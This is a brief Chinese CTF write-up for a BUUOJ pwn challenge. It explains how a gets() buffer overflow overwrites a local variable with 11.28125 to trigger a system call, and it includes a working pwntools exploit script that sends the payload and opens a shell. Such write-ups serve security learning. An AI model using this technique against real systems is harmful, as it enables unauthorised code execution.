一、查看文件
先file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。
二、IDA反编译
反编译后觉得好像和前几道题不太一样了
看来看去有个函数比较可疑:
双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000。
查看栈结构,此处var_30是v1,而var_4是v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26965)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互
总结
还是一道栈溢出的题,我们在那个可疑的函数里发现有两个变量,v1,v2,其中只有v1
可以通过gets()函数输入,但我们的判断的条件是v2=??一个数,我们如和更改v2
值呢,答案是通过v1的溢出来改变v2里的值。